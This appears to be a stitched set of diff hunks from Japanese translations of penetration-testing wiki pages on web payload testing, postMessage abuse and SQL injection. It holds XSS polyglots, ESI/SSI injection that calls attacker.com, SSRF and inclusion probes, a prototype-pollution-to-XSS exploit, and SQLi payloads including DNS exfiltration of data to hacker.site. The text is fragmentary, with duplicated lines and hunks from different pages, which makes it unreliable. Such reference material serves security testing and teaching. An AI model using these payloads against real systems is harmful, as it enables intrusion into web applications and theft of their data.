|
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||||
```
|
```
|
||||||
@ -94,7 +94,7 @@ $(ls)
|
|||||||
```markup
|
```markup
|
||||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||||
```
|
```
|
||||||
## [ファイルインクルージョン/パストラバーサル](../file-inclusion/)
|
## [ファイルインクルージョン/パストラバーサル](../file-inclusion/index.html)
|
||||||
|
|
||||||
### 基本テスト
|
### 基本テスト
|
||||||
```bash
|
```bash
|
||||||
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
|
|||||||
http://asdasdasdasd.burpcollab.com/mal.php
|
http://asdasdasdasd.burpcollab.com/mal.php
|
||||||
\\asdasdasdasd.burpcollab.com/mal.php
|
\\asdasdasdasd.burpcollab.com/mal.php
|
||||||
```
|
```
|
||||||
## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
|
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||||
|
|
||||||
### 基本テスト
|
### 基本テスト
|
||||||
```bash
|
```bash
|
||||||
@ -140,11 +140,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
|
|||||||
```markup
|
```markup
|
||||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||||
```
|
```
|
||||||
## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
|
## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/index.html)
|
||||||
|
|
||||||
Open Redirectで使用されるのと同じテストがここでも使用できます。
|
Open Redirectで使用されるのと同じテストがここでも使用できます。
|
||||||
|
|
||||||
## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/)
|
## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/index.html)
|
||||||
|
|
||||||
### 基本テスト
|
### 基本テスト
|
||||||
```markup
|
```markup
|
||||||
@ -183,7 +183,7 @@ javascript:alert()
|
|||||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||||
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
|
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
|
||||||
|
@ -36,7 +36,7 @@ javascript:alert(1)
|
|||||||
javascript:alert()
|
javascript:alert()
|
||||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||||
```
|
```
|
||||||
|
@ -36,7 +36,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|||||||
**第二のシナリオ**では、**メッセージはそのドメインにのみ送信される**(ウィンドウオブジェクトのオリジンが異なっていても)。\
|
**第二のシナリオ**では、**メッセージはそのドメインにのみ送信される**(ウィンドウオブジェクトのオリジンが異なっていても)。\
|
||||||
**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。
|
**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。
|
||||||
|
|
||||||
### iframe の攻撃と **targetOrigin** のワイルドカード
|
### iframe の攻撃と **targetOrigin** におけるワイルドカード
|
||||||
|
|
||||||
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**(\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、あなたが制御するドメインに **機密** メッセージを **漏洩** させることができます。\
|
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**(\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、あなたが制御するドメインに **機密** メッセージを **漏洩** させることができます。\
|
||||||
ページが iframed 可能であるが、**targetOrigin** が **ワイルドカードではなく URL に設定されている** 場合、この **トリックは機能しません**。
|
ページが iframed 可能であるが、**targetOrigin** が **ワイルドカードではなく URL に設定されている** 場合、この **トリックは機能しません**。
|
||||||
@ -69,40 +69,40 @@ if (event.origin !== "http://example.org:8080") return
|
|||||||
false
|
false
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
注意すべきは、**最初に**コードが**オリジンを確認している**ことです。これは、受信した情報で**何か敏感なこと**を行う場合(パスワードの変更など)において非常に**重要**です。**オリジンを確認しない場合、攻撃者は被害者がこのエンドポイントに任意のデータを送信させ、被害者のパスワードを変更させることができます**(この例では)。
|
注意すべきは、**最初に**コードが行っていることは**オリジンの確認**です。これは、受信した情報で**何か敏感なこと**(パスワードの変更など)を行う場合に非常に**重要**です。**オリジンを確認しないと、攻撃者が被害者に任意のデータをこのエンドポイントに送信させ、被害者のパスワードを変更させることができます**(この例では)。
|
||||||
|
|
||||||
### 列挙
|
### 列挙
|
||||||
|
|
||||||
現在のページで**イベントリスナーを見つける**ために、次のことができます:
|
現在のページで**イベントリスナーを見つける**ために、次のことができます:
|
||||||
|
|
||||||
- **JSコードを検索**して`window.addEventListener`や`$(window).on`(_JQueryバージョン_)を探す
|
- `window.addEventListener` と `$(window).on` (_JQueryバージョン_) のためにJSコードを**検索**する
|
||||||
- 開発者ツールのコンソールで**実行**する:`getEventListeners(window)`
|
- 開発者ツールのコンソールで**実行**する: `getEventListeners(window)`
|
||||||
|
|
||||||
 (1).png>)
|
 (1).png>)
|
||||||
|
|
||||||
- ブラウザの開発者ツールで**_Elements --> Event Listeners_**に移動する
|
- ブラウザの開発者ツールで _Elements --> Event Listeners_ に**移動**する
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)や[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)のような**ブラウザ拡張機能**を使用する。これらのブラウザ拡張機能は、**すべてのメッセージを傍受**し、表示します。
|
- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) や [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) のような**ブラウザ拡張機能**を使用する。これらのブラウザ拡張機能は、**すべてのメッセージを傍受**し、表示します。
|
||||||
|
|
||||||
### オリジンチェックのバイパス
|
### オリジンチェックのバイパス
|
||||||
|
|
||||||
- **`event.isTrusted`**属性は、真のユーザーアクションによって生成されたイベントに対してのみ`True`を返すため、安全と見なされます。正しく実装されている場合、バイパスするのは難しいですが、セキュリティチェックにおけるその重要性は注目に値します。
|
- **`event.isTrusted`** 属性は、ユーザーの正当なアクションによって生成されたイベントに対してのみ `True` を返すため、安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおけるその重要性は注目に値します。
|
||||||
- PostMessageイベントでのオリジン検証に**`indexOf()`**を使用することは、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
|
- PostMessageイベントでのオリジン検証に**`indexOf()`**を使用することは、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||||
```
|
```
|
||||||
|
|
||||||
- `String.prototype.search()`の**`search()`**メソッドは、文字列ではなく正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
|
- `String.prototype.search()` の**`search()`**メソッドは、文字列ではなく正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||||
```
|
```
|
||||||
|
|
||||||
- **`match()`**関数は、`search()`と同様に正規表現を処理します。正規表現が不適切に構成されている場合、バイパスされる可能性があります。
|
- **`match()`** 関数は、`search()` と同様に正規表現を処理します。正規表現が不適切に構成されていると、バイパスされる可能性があります。
|
||||||
- **`escapeHtml`**関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープされたオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作されて、その制御されたプロパティが`hasOwnProperty`を認識しない場合、`escapeHtml`は期待通りに機能しません。以下の例で示されています:
|
- **`escapeHtml`** 関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作されて、その制御されたプロパティが `hasOwnProperty` を認識しない場合、`escapeHtml` は期待通りに機能しません。以下の例で示されています:
|
||||||
|
|
||||||
- 期待される失敗:
|
- 期待される失敗:
|
||||||
|
|
||||||
@ -120,17 +120,17 @@ result = u(new Error("'\"<b>\\"))
|
|||||||
result.message // "'"<b>\"
|
result.message // "'"<b>\"
|
||||||
```
|
```
|
||||||
|
|
||||||
この脆弱性の文脈では、`File`オブジェクトはその読み取り専用の`name`プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
|
この脆弱性の文脈では、`File` オブジェクトはその読み取り専用の `name` プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに `escapeHtml` 関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
|
||||||
|
|
||||||
- JavaScriptの`document.domain`プロパティは、スクリプトによってドメインを短縮するために設定でき、同じ親ドメイン内での同一オリジンポリシーの適用を緩和します。
|
- JavaScriptの `document.domain` プロパティは、スクリプトによって設定され、ドメインを短縮することができ、同じ親ドメイン内での同一オリジンポリシーの適用が緩和されます。
|
||||||
|
|
||||||
### e.origin == window.originのバイパス
|
### e.origin == window.origin バイパス
|
||||||
|
|
||||||
%%%%%%を使用して**サンドボックス化されたiframe**内にウェブページを埋め込む場合、iframeのオリジンはnullに設定されることを理解することが重要です。これは、**サンドボックス属性**とそのセキュリティおよび機能への影響を扱う際に特に重要です。
|
%%%%%%を使用して**サンドボックス化されたiframe**内にウェブページを埋め込む場合、iframeのオリジンはnullに設定されることを理解することが重要です。これは、**サンドボックス属性**とそのセキュリティおよび機能への影響を扱う際に特に重要です。
|
||||||
|
|
||||||
サンドボックス属性で**`allow-popups`**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性が含まれていない限り、ポップアップウィンドウのオリジンも同様に`null`に設定され、iframeのオリジンと一致することを意味します。
|
サンドボックス属性で**`allow-popups`**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に `null` に設定され、iframeのオリジンと一致することを意味します。
|
||||||
|
|
||||||
したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが`null`に設定されます。この状況は、**`e.origin == window.origin`**が真(`null == null`)と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値`null`を共有しているからです。
|
したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが `null` に設定されます。この状況は、**`e.origin == window.origin`** が真(`null == null`)と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値 `null` を共有しているからです。
|
||||||
|
|
||||||
詳細については**読む**:
|
詳細については**読む**:
|
||||||
|
|
||||||
@ -158,7 +158,7 @@ bypassing-sop-with-iframes-2.md
|
|||||||
### X-Frame-Header バイパス
|
### X-Frame-Header バイパス
|
||||||
|
|
||||||
これらの攻撃を実行するには、理想的には **被害者のウェブページ** を `iframe` 内に配置できる必要があります。しかし、`X-Frame-Header` のようなヘッダーはその **動作** を **防ぐ** ことがあります。\
|
これらの攻撃を実行するには、理想的には **被害者のウェブページ** を `iframe` 内に配置できる必要があります。しかし、`X-Frame-Header` のようなヘッダーはその **動作** を **防ぐ** ことがあります。\
|
||||||
そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、そこに通信することができます:
|
そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、それと通信することができます:
|
||||||
```markup
|
```markup
|
||||||
<script>
|
<script>
|
||||||
var w=window.open("<url>")
|
var w=window.open("<url>")
|
||||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
|||||||
|
|
||||||
### iframeの位置を変更してメッセージを盗む
|
### iframeの位置を変更してメッセージを盗む
|
||||||
|
|
||||||
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を彼が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
|
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
steal-postmessage-modifying-iframe-location.md
|
steal-postmessage-modifying-iframe-location.md
|
||||||
@ -185,7 +185,7 @@ steal-postmessage-modifying-iframe-location.md
|
|||||||
|
|
||||||
`postMessage`を通じて送信されたデータがJSによって実行されるシナリオでは、**ページ**を**iframe**し、`postMessage`を介してエクスプロイトを送信することで**プロトタイプ汚染/XSS**を**悪用**できます。
|
`postMessage`を通じて送信されたデータがJSによって実行されるシナリオでは、**ページ**を**iframe**し、`postMessage`を介してエクスプロイトを送信することで**プロトタイプ汚染/XSS**を**悪用**できます。
|
||||||
|
|
||||||
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)には、**postMessage**を通じた**非常に良く説明されたXSS**のいくつかがあります。
|
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)には、**postMessageを通じた非常に良く説明されたXSS**のいくつかがあります。
|
||||||
|
|
||||||
`iframe`への`postMessage`を通じて**プロトタイプ汚染を悪用し、その後XSS**を行うエクスプロイトの例:
|
`iframe`への`postMessage`を通じて**プロトタイプ汚染を悪用し、その後XSS**を行うエクスプロイトの例:
|
||||||
```html
|
```html
|
||||||
@ -214,9 +214,9 @@ setTimeout(get_code, 2000)
|
|||||||
```
|
```
|
||||||
**詳細情報**について:
|
**詳細情報**について:
|
||||||
|
|
||||||
- [**プロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/)に関するページへのリンク
|
- [**プロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/index.html)に関するページへのリンク
|
||||||
- [**XSS**](../xss-cross-site-scripting/)に関するページへのリンク
|
- [**XSS**](../xss-cross-site-scripting/index.html)に関するページへのリンク
|
||||||
- [**クライアントサイドプロトタイプ汚染からXSSへのリンク**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)に関するページへのリンク
|
- [**クライアントサイドプロトタイプ汚染からXSSへのリンク**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -21,9 +21,9 @@
|
|||||||
"))
|
"))
|
||||||
`))
|
`))
|
||||||
```
|
```
|
||||||
次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**新しいデータを受け入れるように前のクエリに入力**するか、単に**データを入力して**、**最後にコメント記号を追加**することができます。
|
次に、**エラーが発生しないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力**して**前のクエリが新しいデータを受け入れる**ようにするか、単に**データを入力**して**最後にコメント記号を追加**することができます。
|
||||||
|
|
||||||
_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_
|
_エラーメッセージが表示される場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができる場合、このフェーズはより簡単になります。_
|
||||||
|
|
||||||
### **コメント**
|
### **コメント**
|
||||||
```sql
|
```sql
|
||||||
@ -53,7 +53,7 @@ HQL does not support comments
|
|||||||
```
|
```
|
||||||
### 論理演算による確認
|
### 論理演算による確認
|
||||||
|
|
||||||
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが、`?username=Peter' or '1'='1`に変更しても同じ内容を返す場合、SQLインジェクションの脆弱性があることを示しています。
|
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。
|
||||||
|
|
||||||
同様に、**数学的演算**の適用も効果的な確認手法です。例えば、`?id=1`と`?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。
|
同様に、**数学的演算**の適用も効果的な確認手法です。例えば、`?id=1`と`?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。
|
||||||
|
|
||||||
@ -146,7 +146,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
|||||||
|
|
||||||
#### Order/Group by
|
#### Order/Group by
|
||||||
|
|
||||||
クエリ内のカラム数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。
|
クエリのカラム数を特定するために、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。
|
||||||
```sql
|
```sql
|
||||||
1' ORDER BY 1--+ #True
|
1' ORDER BY 1--+ #True
|
||||||
1' ORDER BY 2--+ #True
|
1' ORDER BY 2--+ #True
|
||||||
@ -170,11 +170,11 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
|||||||
1' UNION SELECT null,null-- - Not working
|
1' UNION SELECT null,null-- - Not working
|
||||||
1' UNION SELECT null,null,null-- - Worked
|
1' UNION SELECT null,null,null-- - Worked
|
||||||
```
|
```
|
||||||
_`null`値を使用するべきです。なぜなら、クエリの両側のカラムの型が同じでなければならない場合があり、nullはすべてのケースで有効だからです。_
|
_クエリの両側の列の型が同じでなければならない場合があるため、`null`値を使用する必要があります。nullはすべてのケースで有効です。_
|
||||||
|
|
||||||
### データベース名、テーブル名、カラム名の抽出
|
### データベース名、テーブル名、および列名の抽出
|
||||||
|
|
||||||
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルのカラム名を取得します:
|
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:
|
||||||
```sql
|
```sql
|
||||||
#Database names
|
#Database names
|
||||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||||
@ -204,14 +204,14 @@ _このデータを発見する方法は、異なるデータベースごとに
|
|||||||
```sql
|
```sql
|
||||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||||
```
|
```
|
||||||
## Blind SQLiの悪用
|
## ブラインドSQLiの悪用
|
||||||
|
|
||||||
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容によって**区別**することができます。\
|
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容があるため、**区別**することができます。\
|
||||||
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
|
この場合、その動作を悪用してデータベースを文字単位でダンプすることができます:
|
||||||
```sql
|
```sql
|
||||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||||
```
|
```
|
||||||
## エラー盲目的SQLiの悪用
|
## エクスプロイトエラー ブラインド SQLi
|
||||||
|
|
||||||
これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
|
これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
|
||||||
```sql
|
```sql
|
||||||
@ -219,19 +219,19 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
|||||||
```
|
```
|
||||||
## 時間ベースのSQLiの悪用
|
## 時間ベースのSQLiの悪用
|
||||||
|
|
||||||
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別**する方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[確認するためにSQLi脆弱性を確認する](#confirming-with-timing)ために以前に使用されているのを見たことがあります。
|
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別**する方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[確認するためにSQLiの脆弱性を確認する](#confirming-with-timing)ために以前に使用されているのを見たことがあります。
|
||||||
```sql
|
```sql
|
||||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||||
```
|
```
|
||||||
## スタッククエリ
|
## スタッククエリ
|
||||||
|
|
||||||
スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されない**ことに注意してください。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
|
スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されない**ことに注意してください。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2つ目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
|
||||||
|
|
||||||
**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
|
**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれをサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
|
||||||
|
|
||||||
## アウトオブバンドエクスプロイト
|
## アウトオブバンドエクスプロイト
|
||||||
|
|
||||||
**他の**エクスプロイト手法が**機能しなかった**場合、**データベースが情報をあなたが制御する**外部ホストに**流出させる**ように試みることができます。たとえば、DNSクエリを介して:
|
**他の**エクスプロイト手法が**機能しなかった**場合、**データベースが情報をあなたが制御する**外部ホストに**流出させる**ことを試みることができます。たとえば、DNSクエリを介して:
|
||||||
```sql
|
```sql
|
||||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||||
```
|
```
|
||||||
@ -239,19 +239,19 @@ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
|||||||
